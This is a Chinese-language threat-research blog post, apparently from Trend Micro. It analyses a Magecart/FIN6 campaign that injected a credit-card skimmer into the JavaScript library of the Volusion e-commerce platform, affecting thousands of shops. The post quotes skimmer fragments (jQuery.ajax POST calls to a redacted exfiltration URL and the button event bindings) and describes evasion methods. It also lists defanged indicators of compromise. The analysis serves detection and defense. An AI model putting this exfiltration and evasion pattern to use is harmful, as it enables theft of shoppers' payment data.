數千個網路商店被注入 Magecart信用卡盜卡程式,今年第三起類似事件!

最近趨勢科技在 3,126 個網路商店當中發現了 Magecart (亦稱 E-Skimming) 網路信用卡盜卡攻擊。 此次攻擊所用的程式碼與先前攻擊英國航空 (British Airways) 及 Newegg 所用的類似。盜卡程式碼會拷貝付款畫面上的所有資訊,包括受害者的姓名、住址、電話、電子郵件以及信用卡詳細資訊 (卡號、持卡人姓名、到期月份、到期年份、CVV 驗證碼)。專挑大型受害者下手的Magecart Group 6 駭客集團會試圖註冊與受害者的網域名稱相近的網域來架設接收資料的伺服器。在此次的案例當中,歹徒接收資料的伺服器網域為「volusion-cdn.com」與受害者 Volusion 自家的網域「cdn3.volusion.com」非常相似。

趨勢科技解決方案皆能保護使用者和企業,有效攔截惡意腳本並防止使用者連上惡意網域 。一般用戶, 可免費下載試用 PC-cillin 雲端版

根據我們的資料顯示,這波攻擊始於 2019 年 9 月 7 日,所有受影響的網路商店都是架設在 Volusion這個知名電子商務平台上。事實上,這已經是我們第三次發現盜卡程式被注入電子商務廠商的雲端平台。今年已有另外兩家廠商受害:一家是校園電子商務平台,另一家是飯店電子商務平台。很明顯地,這些目標之所以會被網路犯罪集團盯上,原因就在於這些平台廣受許多網路商店青睞,例如這次受害的平台旗下有數千家商店。

根據我們的研究發現,歹徒是將惡意程式碼注入一個由雲端電子商務平台 Volusion 提供給用戶端商店使用的 JavaScript 程式庫。被注入的程式碼會再載入另一個儲存在 Google Storage 服務上的  JavaScript 腳本。這個載入的腳本與正常的 JavaScript 程式庫幾乎一模一樣,只差一段被注入的信用卡盜卡程式碼。當消費者在網站上送出付款資訊時,盜卡程式碼就會將消費者的個人資訊和信用卡資料複製並傳送到駭客的伺服器。

我們的研究團隊已經將此事通報給 Google,Volusion 已承認修復這項問題

Figure. 1

圖 1:線上信用卡盜卡流程。

Figure. 2

圖 2:曾經存取含有該盜卡程式的網路商店使用者國家分布狀況 (根據趨勢科技 Smart Protection Network™ 全球威脅情報網的資料)。

我們在調查過程中發現這群駭客似乎比其他盜卡集團更有經驗,思慮也更周詳。他們並非只是單純地將惡意程式碼插入腳本的頂端或末端,而是小心翼翼地將程式碼融入原始腳本的執行流程當中。此外,其程式碼也盡量寫得簡潔,讓它在一整個龐大的程式庫當中很難被發現。而且,他們用來接收資料的伺服器所註冊的網域名稱看起來也跟 Volusion 的網域很像。

從其犯罪手法來看,我們認為這群駭客應該是來自於 Magecart Group 6 駭客集團,他們同時也是惡名昭彰的 FIN6 犯罪集團。我們發現此次攻擊所用的程式碼與 FIN6 先前攻擊英國航空 (British Airways) 及 Newegg 所用的類似。

程式碼注入分析

駭客將程式碼注入 Volusion 電子商務平台提供給客戶端商店的一個程式庫當中。這個在程式庫內備註中提到的腳本,包含了商店瀏覽選單彈出式功能所必要的程式碼。此外,也用於商店的結帳頁面。這份腳本的網址位於:

• hxxps://[online shop domain]/a/j/vnav.js

駭客不僅將其程式碼注入到程式庫內。還將其程式碼內嵌至原本的 jQueryUI 函式當中,隨著原本的程式一起執行。他們就在原本的物件「e.widget.bridge」前面建立了一個新的物件「e.widget.unbridge」,而惡意程式碼就在新的物件當中。值得注意的是,駭客甚至模仿原本程式碼的撰寫風格來讓這段程式看起來更像是原始程式碼的一部份。

注入的程式碼會建立一個新的腳本元素來載入另一個儲存在 Google Storage 上的遠端腳本。

Figure. 3

圖 3:注入到 Volusion JavaScript 程式庫當中的惡意腳本。

Figure. 4

圖 4:Volusion 的原始腳本 (左) 與被注入惡意程式碼後的腳本 (右) 比較 (特別標示部分就是被注入的程式碼)。

信用卡盜卡程式碼分析

遠端腳本儲存在 Google Storage 上的位址如下:

• hxxps[:]//storage[.]googleapis[.]com/volusionapi/resources.js

該腳本內的大部分程式碼都是來自於「js-cookie」程式庫 2.2.1 版。不過,駭客已做修改並且在原本的腳本當中插入了一段盜卡程式碼。這段盜卡程式碼會在送出付款資訊按鈕的「mousedown」和「touchstart」事件時執行。

這意味著,當受害者按下「送出」按鈕時,就會觸發這些事件,然後盜卡程式碼就會執行。

Figure. 5

圖 5:被注入盜卡程式碼的 JavaScript 程式庫 (左) 與原始的「js-cookie」程式庫 (右) 比較。

盜卡程式碼會拷貝付款畫面上的所有資訊,包括受害者的姓名、住址、電話、電子郵件以及信用卡詳細資訊 (卡號、持卡人姓名、到期月份、到期年份、CVV 驗證碼)。

接著將拷貝的資料序列化成字串,並使用 Base64 方式編碼,然後再對編碼後的字串進行某種文字排列組合,讓字串無法直接用 Base64 方式解碼。

最後再將該資料儲存在 sessionStorage 當中,並使用「_utmzoptinout」為金鑰。下次當盜卡程式碼載入時 (通常是付款完成後的下一個畫面),它會偵測 sessionStorage 當中是否有資料存在,若有,就會使用 HTTP POST 請求將這些偷來的付款資料傳送至遠端伺服器,位址在:hxxps[:]//volusion-cdn[.]com/analytics/beacon。

Figure. 6

圖 6:信用卡盜卡程式碼主要腳本。

請注意,駭客的遠端伺服器是架設在「volusion-cdn.com」這個網域上,該名稱跟 Volusion 本身的伺服器所在網域很像。駭客之所以將盜卡程式碼儲存在 Google Storage 是因為 Volusion 自己也是一個架設在 Google Cloud Platform 上的服務

背後為 Magecart 或 FIN6 集團的證據

正如先前提到,根據駭客的犯案手法,我們相信其背後的犯罪集團應該是 Magecart Group 6,也稱為 FIN6。以下是我們發現的一些線索:

  • Magecart Group 6 最知名的就是專挑大型受害者下手,專門從事單次獲利龐大的詐騙攻擊。光 Volusion 這起攻擊就讓該集團有機會從 3,126 個網路商店蒐集大量的信用卡資料。
  • 從先前英國航空與 Newegg 網站發生的盜卡攻擊我們知道,Group 6 會試圖註冊與受害者的網域名稱相近的網域來架設接收資料的伺服器。在此次的案例當中,歹徒接收資料的伺服器網域為「volusion-cdn.com」與受害者 Volusion 自家的網域「cdn3.volusion.com」非常相似。此外,英國航空、Newegg 及 Volusion 這三起攻擊所使用的網域都是透過 Namecheap 機構所註冊。
  • 我們發現此次攻擊所使用的盜卡程式碼,是從先前英國航空與 Newegg 攻擊所用的盜卡程式碼改良而來。新舊兩個版本都使用了 jQuery,並且將偷到的資料序列化,然後使用 jQuery.ajax 的函式來將資料傳送 (POST) 到遠端伺服器。舊的盜卡程式碼較這次的版本簡單許多,並不會將偷到的資料編碼或先儲存在sessionStorage 之後再外傳。

攻擊目標 | 資料外傳的腳本程式碼
---|---
英國航空 (British Airways) | jQuery.ajax({type:”POST”,async:0,url:”[exfiltration url]”,data:t,dataType:”application/json})
Newegg | jQuery.ajax({type:”POST”,async:true,url:”[exfiltration url]”,data:pdati,dataType:”application/json})
Volusion | $.ajax({type: ‘POST’,url: ‘[exfiltration url]’,dataType: ‘application/x-www-form-urlencoded’,data: d,complete: function() { window.sessionStorage.removeItem(‘_utmzoptinout’); }})

還有一點蠻有趣的是,此次攻擊中的盜卡程式碼綁定了送出付款資訊按鈕的「mousedown」和「touchstart」兩個事件。然而之前 Group 6 的盜卡程式碼綁定的卻是「mouseup」和「touchend」兩個事件。

儘管這兩組事件不同,但其實是成對的事件,而且觸發盜卡程式碼的時間也幾乎相同。表面上歹徒觸發盜卡程式碼的時間點似乎相同,但新的版本其實是刻意選擇另外兩個對應的事件來避開經驗式偵測規則。

攻擊目標 | 綁定事件的腳本程式碼
---|---
英國航空 (British Airways) | .bind(“mouseup touchend”, function(a) {…})
Newegg | .bind(“mouseup touchend”, function(e) {…})
Volusion | .bind(‘mousedown touchstart’, z)

顯然 Magecart 會持續不斷修正及實驗一些新的攻擊方法,以便讓其盜卡程式碼更能躲避偵測。像這類高階駭客集團隨時都在嘗試、發掘新的手法以躲避偵測,並暗中潛伏在受害者的系統。

要防範這類威脅,網站經營者必須定期檢查及強化資安防護,修補伺服器並將伺服器適當隔離,此外也應採用嚴格的認證機制,尤其是會儲存和管理敏感資料的網站。IT 與資安團隊應該將一些過時的元件停用或限制使用,並且習慣性監控網站和應用程式是否有任何可能導致資料外洩的可疑活動徵兆,或是執行了不明的腳本,或是有未經授權而存取或修改的情況。

下列採用趨勢科技的XGen安全防護技術為基礎的趨勢科技解決方案皆能保護使用者和企業,有效攔截惡意腳本並防止使用者連上惡意網域:

資安研究人員 Marcel Afrahim 也針對這起案例在  Medium 上發表了一則文章。

入侵指標資料

指標 | 說明 | 趨勢科技命名
---|---|---
volusion-cdn[.]com | FIN6 接收資料的伺服器網域 |
https[:]//volusion-cdn[.]com/analytics/beacon | FIN6 接收資料的網址 |
https[:]//storage[.]googleapis[.]com/volusionapi/resources.js | FIN6 信用卡盜卡程式碼網址 |
2348433df49e73217969a45726c53441f092c4a6fce57d1d58a6cf79d3976058 | FIN6 信用卡盜卡程式碼雜湊碼 | TrojanSpy.JS.MAGECART.C
cee25c699a14a04c6e1b6e6fcd5ce7d4414c9f324b62509a7af14ae5bf749af8 | FIN6 信用卡盜卡程式碼雜湊碼 | TrojanSpy.JS.MAGECART.D
d03f18a71ce059a79840a38aad4944426f0524bbd68a7a8fb7003c82996e6533   | FIN6 信用卡盜卡程式碼雜湊碼 |

原文出處:FIN6 Compromised E-commerce Platform via Magecart to Inject Credit Card Skimmers Into Thousands of Online Shops

作者:Joseph C Chen (詐騙研究員)